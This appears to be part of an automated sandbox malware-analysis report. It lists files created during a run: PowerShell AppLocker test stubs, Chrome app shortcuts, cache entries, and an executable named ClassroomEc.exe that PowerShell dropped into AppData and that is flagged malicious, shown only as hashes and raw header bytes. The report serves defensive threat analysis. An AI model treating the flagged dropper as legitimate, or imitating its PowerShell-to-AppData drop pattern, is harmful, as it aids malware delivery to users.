Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egys0vci.ghe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ly4xks1y.lmy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sujn2kfc.x2s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5q53i1b.o5u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zbii3sud.q1h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\ClassroomEc.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1212711
Entropy (8bit):	7.912999126781567
Encrypted:	false
SSDEEP:	24576:UAl76qnq2ZULeYTnZXHQJZW6xcZLPLaDWmcGiVPxccmvrJ4428ng:N9hx/gZIeZLPMWbGQsvq/H
MD5:	956D074F7C6BD174C43586F07892E820
SHA1:	45A9273A96E66B3B05D2B53540C1B4DC6C5E2A05
SHA-256:	BDF72E1C0964B7A7B96651B278B6F8D4B42849C01FF2AA6C6844B5AC2A893F3B
SHA-512:	ABB7C98BE2A86A543D353D0ED812FD87A0303BCC858F39A19DE7A3F20829C071BCDC3AFA99D9F82C0C8C9B3C8674D4C9CE2B73A43E0A760CA9BA1A659664BFE3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ`.....................@...............................................!..L.!Require Windows..$....[a..[a..[a..R.~.Ya..R.o.\a..R.y.Ma..R.i.Ja..[a..a..4.d.Ya..4.P._a..4.Q.ja..4.`.Za..4.g.Za..Rich[a..................PE..L......`.................z...........{............@..........................p............@.................................T...........Q@..........?Y...'...P..8....................................................................................text....x.......z.................. ..`.rdata..j5.......6...~..............@..@.data....+..........................@....rsrc...Q@.......B..................@..@.reloc..`....P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.706691070399353
Encrypted:	false
SSDEEP:	96:agJ3dCteoXkvhkvCCtOMflTQHlMflT5HW:5J3Qe4OMfUMfK
MD5:	86DAE1157BEEECDCF715D1B4ED36FB7E
SHA1:	A031FD596C06EFDC0FD876A4B1D4727B963DCE83
SHA-256:	8003DA480BE2F7A62AE3602B09F8724F7BC108BFFD4AEE75B64EF38B10EDA5E3
SHA-512:	264E07A3DF34F465BD339E80C0AFC2A79E4D15E0F937F90815B5C2C4699F1D00CD948FA9501A02D5F23B772F3F31C0BB91B8DBBF29B9CC753C97C14667099128
Malicious:	false
Preview:	...................................FL..................F.".. ...d.........Nd..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.........Nd.....Nd......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlTX......B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....TX....Roaming.@......DWSlTX......C......................Jo.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSlTX......D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSlDW.r....E.....................W]..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlTX......q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YDPTY5TGLKLPZQP4R2KC.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.706691070399353
Encrypted:	false
SSDEEP:	96:agJ3dCteoXkvhkvCCtOMflTQHlMflT5HW:5J3Qe4OMfUMfK
MD5:	86DAE1157BEEECDCF715D1B4ED36FB7E
SHA1:	A031FD596C06EFDC0FD876A4B1D4727B963DCE83
SHA-256:	8003DA480BE2F7A62AE3602B09F8724F7BC108BFFD4AEE75B64EF38B10EDA5E3
SHA-512:	264E07A3DF34F465BD339E80C0AFC2A79E4D15E0F937F90815B5C2C4699F1D00CD948FA9501A02D5F23B772F3F31C0BB91B8DBBF29B9CC753C97C14667099128
Malicious:	false
Preview:	...................................FL..................F.".. ...d.........Nd..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.........Nd.....Nd......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlTX......B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....TX....Roaming.@......DWSlTX......C......................Jo.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSlTX......D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSlDW.r....E.....................W]..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlTX......q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 20 21:46:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9794018243128138
Encrypted:	false
SSDEEP:	48:8rdsTQA1HridAKZdA19ehwiZUklqehSy+3:8enT1y
MD5:	EB95927EE4F08657E4C51CD5CE61AB03
SHA1:	C2E6FFDC68C4B8C4D663CB6424DF80CB194CE178
SHA-256:	7D8367DB5E0B670ACBB235E7C71B7C8E057F62930A80EFFFEBE3C9B967131583
SHA-512:	A6098F0D8E3BA13FB009F5515F9A134D509A54BEAF4E8697992347F4D835756C9A89BD8807AAC2AB0530400C97DB496540FB7BC55964B8109F670499D7A340D9
Malicious:	false
Preview:	L..................F.@.. ...$+.,....l..Nd..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ITX.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VTX.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VTX.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VTX............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VTX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............qP.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 20 21:46:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9937667275360456
Encrypted:	false
SSDEEP:	48:8EdsTQA1HridAKZdA1weh/iZUkAQkqehly+2:8Pnh9Q0y
MD5:	46141018CE712145D2B91D5A7BDA6A3F
SHA1:	D73FA9DE33F822133254C3A98AC84845F5E47D6C
SHA-256:	15935608FA7C7C694B27724C0183BFFE7D79D8E23A86E5EA89D7A9892236B998
SHA-512:	E34C982054EEC32F71ABA6B471AB59FF10991C0246DBA04D27E69C755448D8C25B9EDFA6897AB87AC9C93558C67AF600D62847F395E84F1E3E942B8848CC7B08
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....O..Nd..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ITX.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VTX.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VTX.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VTX............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VTX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............qP.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005336330687547
Encrypted:	false
SSDEEP:	48:8xJdsTQAsHridAKZdA14tseh7sFiZUkmgqeh7svy+BX:8xInGnhy
MD5:	3841CE43CA9F8DEFD4E451C1002F750F
SHA1:	A61E7FDF950CA427DBF7CFCFBFC95B78091A6A6F
SHA-256:	9756F71F15511376D73063F3F8BC6ADA8DF614B9E0CE0FE69D23350F1BA51935
SHA-512:	2C2629074E9AE7EFFC1FDE19CADDB79F142023C5BD44FFA37B937AB403B4D067936659180937BF89869B9001A895331491629A55DCA5179AF003F1B30C8EB3B4
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ITX.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VTX.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VTX.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VTX............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............qP.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 20 21:46:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9954865706237817
Encrypted:	false
SSDEEP:	48:8HbdsTQA1HridAKZdA1vehDiZUkwqehZy+R:8HunCny
MD5:	68E68AEA82F9516032D726006D9CBDB3
SHA1:	C8CE53E7EBD02314588865923C23895072A3F358
SHA-256:	7D5D8F3BC9B9BF0BCA6AFCA3F34ED0F10397AC68C0276EF229E977BE63C4612E
SHA-512:	B8DA7EA3CF1932A07C7F426B078E48F47FA15C7E4FF818D057F40B01B46BB7B1C946ADD9AF07618796E02B5A2444E97D043CBD03D7C9B9517F7F98BCBD69D576
Malicious:	false
Preview:	L..................F.@.. ...$+.,........Nd..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ITX.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VTX.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VTX.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VTX............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VTX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............qP.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 20 21:46:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9829346498419604
Encrypted:	false
SSDEEP:	48:8RdsTQA1HridAKZdA1hehBiZUk1W1qehry+C:8wny9Ly
MD5:	8278B769CFC537CD2B6B5CB9282FDE4B
SHA1:	2AB0CD67881331728E0CAA2889E1B9BA072DA673
SHA-256:	024E7C080159938BADB2CCBF4CC59F5F6AE24911C9BAFEEA6D199FFE22288429
SHA-512:	A75D94F1142517E89F4DC8C754D42A3F4CD9589B688BB58245F7E8870BFD335EAAA3EF3C3DA47236D466226C8551A4299BAF46D01780975B6A790B45B29AD8C2
Malicious:	false
Preview:	L..................F.@.. ...$+.,........Nd..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ITX.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VTX.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VTX.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VTX............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VTX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............qP.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 20 21:46:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992683715404562
Encrypted:	false
SSDEEP:	48:8xdsTQA1HridAKZdA1duT+ehOuTbbiZUk5OjqehOuTbhy+yT+:8QnsT/TbxWOvTbhy7T
MD5:	1D41C8ADF08023B985E732F4B9A62572
SHA1:	7A18FFA36AC396A79C8BACF5B3FC650BE8BCDF15
SHA-256:	03EC001CB552E8B5A29CB45E1CB4F07777758AA8D6DE7682F6F92C9A69E0054F
SHA-512:	5D92281127D8A298F9C04718C230998CDAAD31AD379DDDE4D1285AA1669AC29F4AF0FA975AE5838D6951BBED5B342AA47C8CF7D9C450440B2A3061856FFBD98A
Malicious:	false
Preview:	L..................F.@.. ...$+.,...../..Nd..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ITX.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VTX.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VTX.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VTX............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VTX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............qP.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
URL:	https://www.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17265), with no line terminators
Category:	downloaded
Size (bytes):	17265
Entropy (8bit):	5.6124843571072995
Encrypted:	false
SSDEEP:	384:ENmDG2zKGE2+YnVQ7gKMIwu5VIc9g4a/rEJjpWn8Cw:5JzpE2EpMIV/K4WE9Gw
MD5:	5B536CDBB5025EE82FE0782ECB4568C6
SHA1:	23350D4CA27A454209C870288D91008AB5782B1B
SHA-256:	CF2BC8471CA9269F57B173FB6C5AD405DF0963FCC24AEDB26BE6E495D94C4E4F
SHA-512:	418FE0EF4557DBFD56F176270D35E94CB1161690F0592D52A944501D1A48D1867DC25AD0DECF841FE9F3D8C4538447D982F24EDD5A0018A64DF724BB18643B92
Malicious:	false
URL:	https://www.google.com/js/bg/zyvIRxypJp9XsXP7bFrUBd8JY_zCSu2ya-bkldlMTk8.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var B=function(d){return d},X=this\|\|self,J=function(d,z){if(z=(d=X.trustedTypes,null),!d\|\|!d.createPolicy)return z;try{z=d.createPolicy("bg",{createHTML:B,createScript:B,createScriptURL:B})}catch(I){X.console&&X.console.error(I.message)}return z};(0,eval)(function(d,z){return(z=J())&&1===d.eval(z.createScript("1"))?function(I){return z.createScript(I)}:function(I){return""+I}}(X)(Array(7824Math.random()\|0).join("\n")+'(function(){var zN=function(d,z,X,I,V,a){for(V=(I=(X=(z=m((a=d[da]\|\|{},d)),a.wk=m(d),a.N=[],d.T==d?(b(d)\|0)-1:1),m(d)),0);V<X;V++)a.N.push(m(d));for(a.Je=f(d,z),a.es=f(d,I);X--;)a.N[X]=f(d,a.N[X]);return a},BO=function(d,z,X){return((X=Z[d.l](d.he),X)[d.l]=function(){return z},X).concat=function(I){z=I},X},iD=function(d,z,X){if("object"==(X=typeof d,X))if(d){if(d instanceof Array)return"array";if(d instanceof Object)return X;if("[object Window]"==(z=Object.prototype.toSt

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
